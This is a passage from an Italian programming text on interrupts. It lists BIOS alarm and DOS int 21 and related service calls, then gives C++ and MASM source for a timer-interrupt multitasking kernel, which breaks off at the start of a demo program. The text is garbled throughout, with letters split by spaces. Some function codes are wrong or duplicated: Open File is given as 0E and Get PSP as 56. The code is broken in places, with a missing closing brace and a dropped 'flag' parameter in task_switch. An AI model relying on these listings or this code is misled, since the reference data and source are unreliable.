ch = cent ur y ( 19/ 20)
out : none

PC- AT SET ALARM - r om_t i me
i n: ah = set _al ar m[ 06]
ch = hour s
cl = mi nut es
dh = seconds
out : none
not es: pl ace al ar mhandl er addr ess i n i nt 4A vect or

PC- AT RESET ALARM - r om_t i me [ 07]
i n: ah = r eset _al ar m
out : none



I seguent i i nvece sono ser vi zi del DOS quasi t ut t i i nser i t i dent r o agl i
i nt er r upt s 20 e 21.

DOS
- - -

DOS PROGRAM TERMINATION SERVICE [int 20]


DOS FUNCTION SERVICES [int 21]

DOS1 - TERMI NATE PROGRAM - dos_f unc
i n: ah = t er m[ 00]
out : none

DOS1 - KEYBOARD I NPUT WI TH ECHO - dos_f unc
i n: ah = key_i n_echo [ 01]
out : al = char

DOS1 - DI SPLAY OUTPUT - dos_f unc
i n: ah = di sp_out [ 02]
dl = char
out : none

DOS1 - SERI AL I NPUT - dos_f unc
i n: ah = ser i al _i n [ 03]
out : al = char

DOS1 - SERI AL OUTPUT - dos_f unc
i n: ah = ser i al _out [ 04]
dl = char

DOS1 - PRI NTER OUTPUT - dos_f unc
i n: ah = pr i nt er _out [ 05]
dl = char

DOS1 - DI RECT CONSOLE I / O - dos_f unc
i n: ah = consol e_i o [ 06]
dl = oper at i on code
00 t hr u FE = char t o out put
FF = keyboar d i nput
out : al = char i nput

DOS1 - DI RECT KEYBOARD I NPUT - dos_f unc
i n: ah = di r _key_i n [ 07]
out : al = char

DOS1 - KEYBOARD I NPUT WI THOUT ECHO - dos_f unc
i n: ah = key_i n [ 08]
out : al = char

DOS1 - DI SPLAY STRI NG - dos_f unc
i n: ah = di sp_st r i ng [ 09]
ds: dx = st r i ng poi nt er
out : none

DOS1 - BUFFERED KEYBOARD I NPUT - dos_f unc
i n: ah = buf _key_i n [ 0A]
ds: dx = buf f er poi nt er
out : none

DOS1 - CHECK KEYBOARD STATUS - dos_f unc
i n: ah = chk_key_st at [ 0B]
out : al = st at us
00 = empt y
FF = char avai l abl e

DOS1 - CLEAR KEY BUFFER AND PERFORM FUNCTI ON - dos_f unc
i n: ah = cl r _key_f unc [ 0C]
al = subf unct i on ( 01, 06, 07, 08, or 0A; 00 = nul l )
dl = subf unct i on 6 char
out : al = subf unct i on 6 char

DOS1 - RESET DI SK - dos_f unc
i n: ah = r eset _di sk [ 0D]
out : none

DOS1 - SELECT CURRENT DRI VE - dos_f unc
i n: ah = sel _dr i ve [ 0E]

dl = dr i ve
out : al = dr i ve count

DOS1 - OPEN FI LE - dos_f unc
i n: ah = open_f i l e [ 0E]
ds: dx = FCB poi nt er
out : al = r et ur n code
00 = successf ul
FF = unsuccessf ul

DOS1 - CLOSE FI LE - dos_f unc
i n: ah = cl ose_f i l e [ 10]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - SEARCH FOR FI RST MATCHI NG FI LE - dos_f unc
i n: ah = sear ch_f i r st [ 11]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - SEARCH FOR NEXT MATCHI NG FI LE - dos_f unc
i n: ah = sear ch_next [ 12]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - DELETE FI LE - dos_f unc
i n: ah = del et e_f i l e [ 13]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - READ SEQUENTI AL RECORD - dos_f unc
i n: ah = r d_seq_r ec [ 14]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - WRI TE SEQUENTI AL RECORD - dos_f unc
i n: ah = wr _seq_r ec [ 15]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - CREATE FI LE - dos_f unc
i n: ah = cr eat e_f i l e [ 16]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - RENAME FI LE - dos_f unc
i n: ah = r ename_f i l e [ 17]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - REPORT CURRENT DRI VE - dos_f unc
i n: ah = r d_cur _dr i ve [ 19]
out : al = dr i ve

DOS1 - SET DI SK TRANSFER AREA FUCNTI ON - dos_f unc
i n: ah = set _dt a [ 1A]
ds: dx = DTA poi nt er
out : none

DOS1 - READ CURRENT DRI VE' S FAT - dos_f unc
i n: ah = r d_f at _1 [ 1B]
out : al = sect or s/ al l ocat i on uni t
cx = byt es/ sect or
dx = al l ocat i on uni t s
ds: dx = FAT I D byt e poi nt er

DOS1 - READ ANY DRI VE' S FAT - dos_f unc
i n: ah = r d_f at _2 [ 1C]
dl = dr i ve
out : al = sect or s/ al l ocat i on uni t
cx = byt es/ sect or
dx = al l ocat i on uni t s
ds: dx = FAT I D byt e poi nt er

DOS1 - READ RANDOM FI LE RECORD - dos_f unc
i n: ah = r d_r an_r ec1 [ 21]
ds: dx = FCB poi nt er
out : al = r et ur n code
00 = successf ul
01 = end of f i l e
02 = i nsuf f i ci ent DTA space
03 = end of f i l e wi t h par t i al r ecor d

DOS1 - WRI TE RANDOM FI LE RECORD - dos_f unc
i n: ah = wr _r an_r ec1 [ 22]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see r d_r an_r ec1)

DOS1 - REPORT FI LE SI ZE - dos_f unc
i n: ah = r d_f i l e_si ze [ 23]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - SET RANDOM RECORD FI ELD SI ZE - dos_f unc
i n: ah = set _r an_r ec [ 24]
ds: dx = FCB poi nt er
out : none

DOS1 - SET I NTERRUPT VECTOR - dos_f unc
i n: ah = set _i nt _vec [ 25]
al = i nt number
ds: dx = i nt handl er poi nt er
out : none

DOS1 - CREATE PROGRAM SEGMENT FUCNTI ON - dos_f unc
i n: ah = cr eat e_seg [ 26]
dx = segment addr ess
out : none

DOS1 - READ RANDOM FI LE RECORD - dos_f unc
i n: ah = r d_r an_r ec2 [ 27]
cx = r ecor d count
ds: dx = FCB poi nt er
out : al = r et ur n code ( see r d_r an_r ec1)
cx = act ual r ecor d count

DOS1 - WRI TE RANDOM FI LE RECORD FUCNTI ON - dos_f unc
i n: ah = wr _r an_r ec2 [ 28]
cx = r ecor d count
ds: dx = FCB poi nt er
out : cx = act ual r ecor d count

DOS1 - PARSE FI LENAME - dos_f unc
i n: ah = par se_name [ 29]
al bi t s = par se cont r ol
0 = scan separ at or s
1 = set FCB dr i ve byt e
2 = change FCB f i l ename onl y i f f i l e i s f ound
3 = change FCB ext ensi on onl y i f f i l e i s f ound
ds: si = command l i ne poi nt er
es: di = FCB poi nt er
out : al = r et ur n code
00 = success wi t h si ngl e f i l ename
01 = success wi t h wi l dcar d
FF = f ai l ur e
ds: si = char f ol l owi ng f i l e name poi nt er
es: di = FCB poi nt er

DOS1 - GET DATE - dos_f unc
i n: ah = get _dat e [ 2A]
out : al = day of week ( 0 = Sun, 6 = Sat )
cx = year ( 1980 t hr u 2099)
dh = mont h
dl = day

DOS1 - SET DATE - dos_f unc
i n: ah = set _dat e [ 2B]
cx = year ( 1980 t hr u 2099)
dh = mont h
dl = day
out : none

DOS1 - GET TI ME - dos_f unc
i n: ah = get _t i me [ 2C]
out : cl = mi nut es
ch = hour s
dl = seconds 100t h' s
dh = seconds

DOS1 - SET TI ME - dos_f unc
i n: ah = set _t i me [ 2D]
cl = mi nut es
ch = hour s
dl = seconds 100t h' s
dh = seconds
out : none

DOS1 - SET DI SK WRI TE VERI FI CATI ON MODE - dos_f unc
i n: ah = set _ver i f y [ 2E]
al = ver i f y swi t ch
00 = ver i f y of f
01 - ver i f y on
dl = 00
out : none

DOS2 - GET DI SK TRANSFER AREA ADDRESS - dos_f unc
i n: ah = get _dt a [ 2F]
out : es: bx = DTA poi nt er

DOS2 - GET DOS VERSI ON NUMBER - dos_f unc
i n: ah = get _ver [ 30]
out : al = maj or
ah = mi nor
bx = 0000
cx = 0000

DOS2 - ADVANCED TERMI NATE BUT STAY RESI DENT - dos_f unc
i n: ah = keep [ 31]
al = r et ur n code
dx = segment addr ess of memor y t o f r ee
out : none

DOS2 - GET/ SET CONTROL BREAK STATUS - dos_f unc
i n: ah = cnt r l _br k [ 33]
al = get / set swi t ch
00 = get
01 = set
dl = set code
00 = br eak check of f
01 = br eak check on
out : dl = get code ( same as set code)

DOS2 - GET I NTERRUPT VECTOR - dos_f unc
i n: ah = get _i nt _vec [ 35]
al = i nt number
out : es: bx = i nt vect or

DOS2 - GET DI SK FREE SPACE - dos_f unc
i n: ah = get _space [ 36]
dl = dr i ve
out : ax = sect or s/ cl ust er
bx = avai l abl e cl ust er s
cx = byt es/ sect or
dx = t ot al cl ust er s

DOS2 - GET COUNTRY I NFORMATI ON - dos_f unc
i n: ah = get _count r y [ 38]
al = oper at i on code
00 = st andar d i nf o
01 - FE = count r y code
FF = count r y code i n bx
bx = count r y code when al = FF
ds: dx = 32 byt e buf f er poi nt er
out : cf = er r or
al = r et ur n code
ds: dx = i nf o poi nt er
bx = count r y code

DOS2 - MAKE DI RECTORY - dos_f unc
i n: ah = mkdi r [ 39]
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code
01 = i nval i d f unct i on
02 = f i l e not f ound
03 = pat h not f ound
04 = no mor e handl es
05 = access deni ed
06 = i nval i d handl e
07 = memor y cont r ol bl ocks dest r oyed
08 = i nsuf f i ci ent memor y
09 = i nval i d memor y bl ock addr ess
0A = i nval i d envi r onment
0B = i nval i d f or mat
0C = i nval i d access code
0D = i nval i d dat a
0F = i nval i d dr i ve spec
10 = at t empt t o r emove cur r ent di r ect or y
11 = not same devi ce
12 = no mor e f i l es

DOS2 - REMOVE DI RECTORY - dos_f unc
i n: ah = r mdi r [ 3A]
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - CHANGE CURRENT DI RECTORY FUNCTI ON - dos_f unc
i n: ah = chdi r [ 3B]
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - CREATE FI LE - dos_f unc
i n: ah = cr eat e [ 3C]
cx = f i l e at t r i but e
bi t 7 = unused
bi t 6 = unused
bi t 5 = ar chi ve
bi t 4 = subdi r ect or y
bi t 3 = vol ume l abel
bi t 2 = syst em
bi t 1 = hi dden
bi t 0 = r ead onl y
ds: dx = ASCI I Z poi nt er
out : cf = er r or
ax = handl e or r et ur n code ( see mkdi r )

DOS2 - OPEN FI LE - dos_f unc
i n: ah = open [ 3D]
al = access code
r d_onl y = r ead onl y
wr _onl y = wr i t e onl y
r d_wr = r ead/ wr i t e
ds: dx = ASCI I Z poi nt er
out : cf = er r or
ax = handl e or r et ur n code code ( see mkdi r )

DOS2 - CLOSE FI LE - dos_f unc
i n: ah = cl ose [ 3E]
bx = handl e
out : ax = r et ur n code ( see mkdi r )

DOS2 - READ FI LE/ DEVI CE - dos_f unc
i n: ah = r ead [ 3F]
bx = handl e
cx = byt es t o r ead
ds: dx = DTA poi nt er
out : cf = er r or
ax = byt es r ead or r et ur n code code ( see mkdi r )

DOS2 - WRI TE FI LE/ DEVI CE - dos_f unc
i n: ah = wr i t e [ 40]
bx = handl e
cx = byt es t o wr i t e
ds: dx = DTA poi nt er
out : cf = er r or
ax = byt es wr i t t en or r et ur n code ( see mkdi r )

DOS2 - DELETE FI LE - dos_f unc
i n: ah = del et e [ 41]
ds: dx = DTA poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - MOVE FI LE POI NTER - dos_f unc
i n: ah = move_poi nt er [ 42]
al = met hod code
cx: dx = of f set
out : cf = er r or
ax = r et ur n code ( see mkdi r )
ds: ax = new poi nt er l ocat i on

DOS2 - CHANGE FI LE MODE - dos_f unc
i n: ah = chmod [ 43]
al = get / set swi t ch
00 =get
01 = set
cx = f i l e at t r i but e ( see cr eat e)
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )
cx = f i l e at t r i but e ( see cr eat e)

DOS2 - DEVI CE I / O CONTROL - dos_f unc
i n: ah = i oct l [ 44]
al = subf unct i on
bl = dr i ve
bx = handl e
cx = byt es
out : cf = er r or
ax = byt es or r et ur n code
dx = cont r ol dat a bi t s

DOS2 - DUPLI CATE FI LE HANDLE - dos_f unc
i n: ah = dup [ 45]
bx = handl e
out : cf = er r or
ax = handl e or r et ur n code ( see mkdi r )

DOS2 - FORCE FI LE HANDLE DUPLI CATI ON - dos_f unc
i n: ah = cdup [ 46]
bx = f i r st handl e
cx = second handl e
out : ax = r et ur n code ( see mkdi r )
cx = handl e

DOS2 - GET CURRENT DI RECTORY - dos_f unc
i n: ah = get _di r [ 47]
dl = dr i ve
ds: si = buf f er poi nt er
out : cf = er r or
ds: si = pat h name

DOS2 - ALLOCATE MEMORY - dos_f unc
i n: ah = al l ocat e [ 48]
bx = par agr aphs
out : cf = er r or
ax = r et ur n code ( see mkdi r )
bx = l ar gest bl ock si ze avai l abl e

DOS2 - FREE MEMORY - dos_f unc
i n: ah = f r ee [ 49]
es = r et ur n segment bl ock
out : ax = r et ur n code ( see mkdi r )

DOS2 - MODI FY ALLOCATED MEMORY BLOCK - dos_f unc
i n: ah = set _bl ock [ 4A]
bx = par agr aphs
es = bl ock segment addr ess
out : ax = r et ur n code ( see mkdi r )
bx = maxi mumsi ze

DOS2 - LOAD/ EXECUTE PROGRAM - dos_f unc
i n: ah = exec [ 4B]
al = subf unct i on
ds: dx = ASCI I Z poi nt er
es: bx = cont r ol bl ock poi nt er
out : ax = r et ur n code

DOS2 - TERMI NATE PROCESS - dos_f unc
i n: ah = t er m_pr oc [ 4C]
al = r et ur n code ( set s ERRORLEVEL)
out : none

DOS2 - GET SUBPROGRAM RETURN CODE - dos_f unc
i n: ah = get _code [ 4D]
out : al = r et ur n code ( as set by t er m_pr oc [ 4C] )
ah = t er mi nat i on code
00 = nor mal vol unt ar y t er mi nat i on
01 = t er mi nat i on by DOS due t o CTRL- BREAK
02 = t er mi nat i on by DOS due t o cr i t i cal devi ce er r or
03 = vol unt ar y t er mi nat i on due t o keep [ 31]

DOS2 - FI ND FI RST FI LE MATCH - dos_f unc
i n: ah = f i nd_f i r st [ 4E]
cx = f i l e at t r i but e ( see cr eat e)
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - FI ND NEXT FI LE MATCH - dos_f unc
i n: ah = f i nd_next [ 4F]
ds: dx = i nf o f r omf i nd_f i r st poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - GET FI LE WRI TE VERI FY STATE - dos_f unc
i n: ah = get _ver i f y [ 54]
out : al = ver i f y st at e
00 = of f
01 = on

DOS2 - RENAME FI LE - dos_f unc
i n: ah = r ename [ 56]
ds: dx = ol d ASCI I Z poi nt er
es: di = new ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - GET/ SET FI LE DATE/ TI ME - dos_f unc
i n: ah = dat e_t i me [ 57]
al = get / set swi t ch
00 = get
01 = set
bx = handl e
cx = t i me
dx = dat e
out : ax = r et ur n code ( see mkdi r )
cx = t i me
dx = dat e

DOS3 - GET EXTENDED RETURN CODE - dos_f unc
i n: ah = get _er r [ 59]
bx = ver si on code ( 0000 = DOS3)
out : ax = r et ur n code
bh = er r or cl ass
bl = act i on
ch = l ocus

DOS3 - CREATE TEMPORARY FI LE - dos_f unc
i n: ah = cr eat e_t emp [ 5A]
ds: dx = pat hname poi nt er
cx = f i l e at t r i but e ( see cr eat e)
out : cf = er r or
ax = r et ur n code ( see mkdi r )
ds: dx = pat hname poi nt er

DOS3 - CREATE NEWFI LE - dos_f unc
i n: ah = cr eat e_new [ 5B]
ds: dx = f i l ename poi nt er
cx = f i l e at t r i but e ( see cr eat e)
out : cf = er r or
ax = handl e or r et ur n code ( see mkdi r )

DOS3 - LOCK/ UNLOCK FI LE ACCESS - dos_f unc
i n: ah = f i l e_l ock [ 5C]
al = swi t ch
00 = l ock
01 = unl ock
bx = handl e
cx: dx = of f set
si : di = amount
out : ax = r et ur n code ( see mkdi r )

DOS3 - GET PROGRAM SEGMENT PREFI X ADDRESS - dos_f unc
i n: ah = get _psp [ 56]
out : bx = PSP segment addr ess


dos_r d_abs DOS ABSOLUTE DI SK READ SERVI CE [ i nt 25]
i n: cx = sect or s
dx = st ar t sect or
ds: bx = dat a poi nt er
out : cf = er r or
al = r et ur n code
00 = wr i t e pr ot ect ed
01 = i nval i d dr i ve
02 = dr i ve not r eady
04 = CRC er r or
06 = seek er r or
07 = i nval i d f or mat
08 = sect or not f ound
0A = wr i t e er r or
0B = r ead er r or
0C = nonspeci f i c er r or
ah = r et ur n code
00 = ot her er r or
02 = bad addr ess mar k
03 = wr i t e pr ot ect ed
04 = bad sect or
08 = DMA f ai l ur e
10 = bad CRC
20 = cont r ol l er f ai l ur e
40 = bad seek
80 = t i meout


dos_wr _abs DOS ABSOLUTE DI SK WRI TE SERVI CE [ i nt 26]
i n: cx = sect or s
dx = st ar t sect or
ds: bx = dat a poi nt er
out : cf = er r or
ax = r et ur n code ( see dos_r d_abs)


dos_t er m_r es DOS TERMI NATE RESI DENT SERVI CE [ i nt 27]


dos_spool DOS PRI NT SPOOLER SERVI CES [ i nt 2F]

I NSTALLED QUERY - dos_spool
i n: al = spool _quer y [ 00]
out : al = r et ur n code
00 = not i nst al l ed but may be
01 = not i nst al l ed and may not be
FF = i s i nst al l ed

SUBMI T FI LE - dos_spool
i n: al = spool _submi t [ 01]
ds: dx = submi t packet poi nt er
byt e 0 = l evel code
byt es 1 - 4 = ASCI I Z poi nt er ( NO wi l dcar ds)
out : none

CANCEL FI LE - dos_spool
i n: al = spool _cancel [ 02]
ds: dx = ASCI I Z poi nt er ( wi l dcar ds OK)
out : none

CANCEL ALL FI LES - dos_spool
i n: al = spool _canal l [ 03]
out : none

EXAMI NE QUEUE - dos_spool
i n: al = spool _queue [ 04]
out : ds: dx = f i l ename l i st poi nt er

NULL - dos_spool
i n: al = spool _nul l [ 05]
out : none

Nel capi t ol o l egat o al l a t eor i a del l assembl er sono r i por t at e al t r e f unzi oni
d i nt er r upt s l egat e al l a gest i one del l a memor i a i n modo pr ot et t o.


INTERRUPT PARTICOLARI


Come di cevo i ni zi al ment e i n quest o capi t ol o, gl i i nt er r upt s possono esser e
suddi vi si i n t r e t i pi : har dwar e, sof t war e e di t abel l a.
Un i nt er r upt par t i col ar e, di cui abbi amo r i por t at o anche dei sor gent i d esempi o,
l i nt er r upt di t i mer har dwar e i l qual e a sua vol t a ne r i chi ama uno sof t war e.
Quest o l a base di t ut t i i sof t war e mul t i t aski ng.
Con i l si st ema mul t i t aski ng di Wi ndows oggi esi st e l a possi bi l t di cr ear e
pr ocessi concor r ent i anche sol t ant o usando i l messaggi o di t i mer di Wi ndows.
I n ogni caso possi bi l e cr ear e dei si st emi mul t i t aski ng con pochi ssi mo codi ce.
I l seguent e l i st at o most r a appunt o come possi bi l e cr ear e uno pseudo si st ema
mul t i t aski ng.


Tasking.hpp

typedef void (*func_ptr)(void);
/* this is used for interrupt handler to call old interrupt handler */
/* this is a far pointer to a function */
typedef void (far *far_func_ptr)(void);

/* this is how the registers will look on the stack for a task */
/* after they have been saved for a task switch. the sp and ss */
/* registers will point to this when a task is started from the */
/* interrupt handler or save_image */

typedef struct task_image{
unsigned int bp;
unsigned int di;
unsigned int si;
unsigned int ds;
unsigned int es;
unsigned int dx;
unsigned int cx;
unsigned int bx;
unsigned int ax;
unsigned int ip;
unsigned int cs;
unsigned int flags;
}task_image;

/* a task object. contains information needed by task_control object */
/* to do task switching and a pointer to the task's workspace (stack) */

class task{
private:
friend class task_control; // task_control object needs access
friend class signal; // signal needs access to next_task
task_image far *stack_ptr; // task stack ("image") pointer
unsigned char task_state; // task state flag
unsigned char *workspace; // address of allocated task stack
task *next_task; // pointer to next task in queue
public:
task(func_ptr func,unsigned int workspace_size); // constructor
~task();
// destructor
};


/* this is a queue for tasks */
/* it is called signal so user can define a signal for task communication */

class signal{
private:
friend class task_control; // task_control needs access
task *head;
task *tail;
task *get_task_q(void); // get next task off of queue
void put_task_q(task *tptr); // append task to queue
public:
signal(void){head=tail=0;}; // constructor
};




/* task_control object */
/* routines and methods to interface with and control tasks */
/* this object will initialize and restore interrupt vectors, */
/* keep track of timer ticks, and switch execution between the */
/* task objects */

class task_control{
private:
signal ready_q; // queue of tasks ready to run
task *current_task; // current active task
task_image far *old_stack_ptr; // return to this stack when done
unsigned int task_running; // task switching enabled flag
unsigned long timer_ticks; // 18.2 ticks/second
unsigned int task_lock; // lock out task switching
task_image far *task_switch(task_image far *stk_ptr,
unsigned int flag,
signal *sig);
public:
task_control(void); // constructor
void add_new_task(task *new_task); // add new task object to ready q
void start_tasks(void); // start switching tasks on
ready_q
void stop_tasks(void){task_running=0;};
unsigned long get_timer_ticks(void){return(timer_ticks);};
void lock(void){task_lock=1;}; // current task can not be
switched
void unlock(void){task_lock=0;}; // allow task switching
void send(signal *sig); // put task from sig q on ready
q
void wait(signal *sig); // put task on sig q
void block(void); // task allows next to run
};


task.cpp

/* this file implements the methods used by task_control and task */
/* objects */

#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <int.h>
#include "task.hpp"

/* task states */
#define TASK_INACTIVE 0
#define TASK_ACTIVE 1
#define TASK_READY 2
#define TASK_WAITING 3
#define TASK_ERROR 0xff

/* flags for interface routines */
#define TASK_TIMER_INTR 0
#define TASK_SEND 1
#define TASK_WAIT 2
#define TASK_BLOCK 3

/* system timer interrupt or "timer tick" */
#define TIMER_INT 8

/* routines we need from timer.asm */
unsigned int getCS(void);
extern void timer_handler(void);
extern void save_image(unsigned int flag,signal *sig);

/* global for timer_handler to call old interrupt routine */
far_func_ptr old_timer_handler;

/* this is really ugly. */
/* when constructor for task_control object is called we save the */
/* this pointer for task switch routine to call our task_control object */
/* task_switch. this means we can only have 1 task_control object. sorry */
task_control *gl_tptr;

/* constructor for a new task. workspace will be the stack space for */
/* the task. when the timer interrupt happens the tasks "image" */
/* is saved on the stack for use later and the task_image *stack_ptr */
/* will point to this image */

task::task(func_ptr func,unsigned int workspace_size)
{
task_image *ptr;

/* get stack or "workspace" for task */
if((workspace=(unsigned char *)malloc(workspace_size))==NULL){
task_state=TASK_ERROR; // do not let this one run
return;
}

/* now we must set up the starting "image" of the task registers */
/* ptr will point to the register image to begin task */
ptr=(task_image *)(workspace+workspace_size-sizeof(task_image));

/* now save the pointer to the register image */
stack_ptr=MK_FP(getDS(),(unsigned int)ptr);

ptr->ip=(unsigned int)func; // offset of pointer to task code
ptr->cs=getCS(); // segment of pointer to task, compiler bug
ptr->ds=getDS();
ptr->flags=0x200; // flags, interrupts on
task_state=TASK_INACTIVE; // task is inactive
next_task=0;

/* destructor for a task object */

task::~task(void)
{
free(workspace);
}

/* get the next task off of a task queue */

task *signal::get_task_q(void)
{
task *temp;

temp=head;
if(head)
head=head->next_task;
return(temp);
}

/* append a task to the end of a task queue */

void signal::put_task_q(task *tptr)
{
if(head)
tail->next_task=tptr;
else
head=tptr;
tail=tptr;
tptr->next_task=0;
}

/* constructor for task_control */
/* inits private stuff for task control */

task_control::task_control(void)
{
gl_tptr=this;
task_running=0;
current_task=0;
timer_ticks=0L;
task_lock=0;
}

/* adds a task to the task ready_q */
/* call this routine after creating a task object */

void task_control::add_new_task(task *new_task)
{
if(new_task->task_state!=TASK_ERROR){
new_task->task_state=TASK_READY;
ready_q.put_task_q(new_task);
}
}

/* call to start up tasks after you have created some */
/* and added them to the ready_q */

void task_control::start_tasks(void)
{
unsigned int offset,segment;

task_running=1;
/* get address of old timer interrupt handler */
int_getvector(TIMER_INT,&offset,&segment);
old_timer_handler=(far_func_ptr)(MK_FP(segment,offset));
/* set up our new timer interrupt handler */
int_setvector(TIMER_INT,(unsigned int)timer_handler,getCS());
/* tasks will now start running */
while(task_running)
; // do nothing, trick to wait for tasks to start up
/* falls through to here when multi-tasking is turned off */
}

/* gets the next task off of sig queue and puts it */
/* on the ready_q. this suspends operation of the calling */
/* task which is also put on the ready queue */

void task_control::send(signal *sig)
{
save_image(TASK_SEND,sig);
}

/* puts the calling task on the sig queue to wait for a signal */

void task_control::wait(signal *sig)
{
save_image(TASK_WAIT,sig);
}

/* this causes the current task to be placed on the ready queue */
/* and a switch to the next task on the ready_q */

void task_control::block(void)
{
save_image(TASK_BLOCK,(signal *)0);
}

/* this routine is called to do a task switch. it is */
/* passed a task_image far * to the current stack or task "image". */
/* also pass a flag (described above) and a signal pointer if needed. */
/* a task_image * to the "image" of the next task is returned */

task_image far *task_control::task_switch(task_image far *stk_ptr,
signal
*sig)
{
task_image far *temp;
task *tptr;

if(flag==TASK_TIMER_INTR) // increment clock if it is a timer interrupt
timer_ticks++;

/* this saves a pointer to stack when we first start multi-tasking */
/* allows us to return to where start_tasks was called */
if(!current_task){ // no current task so save state for restoring
old_stack_ptr=stk_ptr; // save stack pointer
current_task=ready_q.get_task_q(); // set up a current task
}

/* we have an active task, so do task switch if we can */
if(current_task->task_state==TASK_ACTIVE){
current_task->stack_ptr=stk_ptr; // save stack pointer
current_task->task_state=TASK_READY; // task is ready to go
/* do not allow task switching if tasks are locked and */
/* it is timer interrupt */
if(!task_lock || flag!=TASK_TIMER_INTR){
/* check and see what caused task_switch to be called */
switch(flag){
case TASK_WAIT:
current_task->task_state=TASK_WAITING;
sig->put_task_q(current_task);
break;
case TASK_SEND:
if((tptr=sig->get_task_q())!=0)
ready_q.put_task_q(tptr);
// fall through
case TASK_BLOCK:
case TASK_TIMER_INTR:
current_task->task_state=TASK_READY;
/* put old task on ready queue */
ready_q.put_task_q(current_task);
break;
}
/* get next task to go */
current_task=ready_q.get_task_q();
}
}

/* if we are still multi-tasking, get task ready to run */
if(task_running){
current_task->task_state=TASK_ACTIVE;
temp=current_task->stack_ptr; // get stack pointer of task
}
/* multi-tasking has stopped, get ready to return where we started */
else{ // someone called stop_tasks
int_setvector(TIMER_INT,FP_OFF(old_timer_handler),
FP_SEG(old_timer_handler));
temp=old_stack_ptr; // get back original stack
}
/* return far pointer to stack_image to do task switch */
return(temp);
}


timer.asm

;*****************************************************************************
; TIMER.ASM
; by Tom Green
; Timer interrupt handler
; Timer interrupt handler calls original handler first and then calls the
; task_control object task switcher. a pointer to the stack "image"
; of the new task is returned by the task switcher.
; getCS
; returns current code segment
; save_image
; saves "image" of task as if interrupt had happened and then calls the
; task_control object task switcher. a pointer to the stack "image"
; of the new task is returned by the task switcher.
;*****************************************************************************

.MODEL SMALL
.8086

.DATA

extrn _old_timer_handler:dword
extrn _gl_tptr:word
extrn __task_control_task_switch:near

.CODE

;*****************************************************************************
; unsigned int getCS(void) - returns current code segment.
; this is needed because of compiler bug. when a function is cast
; to a far function, and you try to get the segment, DS is returned
; instead of CS.
;*****************************************************************************
_getCS proc near
public _getCS
mov ax,cs
ret
_getCS endp

;*****************************************************************************
; timer_handler - this replaces the MS-DOS timer tick interrupt (8H).
; this routine saves everything on stack, calls original timer interrupt
; handler, and then calls task_control object task switcher.
;*****************************************************************************
_timer_handler proc near
public _timer_handler
push ax ;save everything
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
mov bp,dgroup
mov ds,bp ;get our data segment back
pushf
call dword ptr dgroup:_old_timer_handler ;call original handler
sti
xor dx,dx
mov ax,ss
mov bx,sp
push dx ;push 0 for last 2 parameters
push dx ;meaning timer interrupt
push ax
push bx
mov dx,_gl_tptr ;push hidden pointer for C++ object
push dx
;stack is now set up for call to task_control object task_switch
cli ;turn off interrupts for task switch
call __task_control_task_switch
;no need to clean up the stack because it will change
sti
mov ss,dx ;new ss returned in dx
mov sp,ax ;new sp returned in ax
pop bp ;restore registers
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
iret
_timer_handler endp

; void save_image(unsigned int flag,signal *sig) - send, wait, block
; etc. all call through here to save the "image" of the task. this
; code simulates what will happen with an interrupt by saving the task
; image on the stack. the flag passed is passed on to the task_control
; object task switcher so it knows if it was called by the timer
; interrupt handler, send, wait, block, etc. the second parameter
; is a signal pointer which is used by send and wait and is passed
; through to the task switcher.
;*****************************************************************************
_save_image proc near
public _save_image
;since this is a C call we can destroy some registers (ax bx cx dx),
;so now we will set up the stack as if an interrupt call had happened.
;leave parameters on stack, because calling routine will adjust on
;return. bx and cx will have the parameters that were passed.
pop ax ;get return address offset on stack
pop bx ;get first parameter off stack
pop cx ;get second parameter off stack
push cx ;put them back on stack
push bx
pushf ;save flags for iret
mov dx,cs ;get code segment
push dx ;save code segment for return address
push ax ;push saved return address offset
push ax ;save everything
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
sti
mov ax,sp ;stack pointer parameter
push cx ;second parameter passed
push bx ;first parameter passed
mov bx,ss
push bx ;far pointer to stack, parameter passed
push ax
mov ax,_gl_tptr ;push hidden pointer for C++ object
push ax
;stack is now set up for call to task_control object task_switch
cli ;turn off interrupts for task switch
call __task_control_task_switch
;no need to clean up the stack because it will change
sti
mov ss,dx ;new ss returned in dx
mov sp,ax ;new sp returned in ax
pop bp ;restore registers
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
iret
_save_image endp

end


I nf i ne con quest o sor gent e possi bi l e t est ar e i l mul t i t aski ng pr ecedent e.
t askdemo. cpp

/* this file is a demonstration of how to use the C++ multi-tasking */
/* kernel. 5 tasks are run and the various means of task switching */
/* and communication are shown */

/* you must have the Zortech C++ compiler version 1.5 and linker and */
/* Microsoft MASM 5.xx to compile this code. */
/* type "ztc taskdemo task timer" and the ztc.com will take */
/* care of compiling, assembling, and linking */

#include <stdio.h>
#include <disp.h>
#include "task.hpp"

void task0(void);
void task1(void);
void task2(void);
void task3(void);
void task4(void);

/* our task_control object (just 1 please) */
task_control tasker;

void main(void)
{
/* task objects */
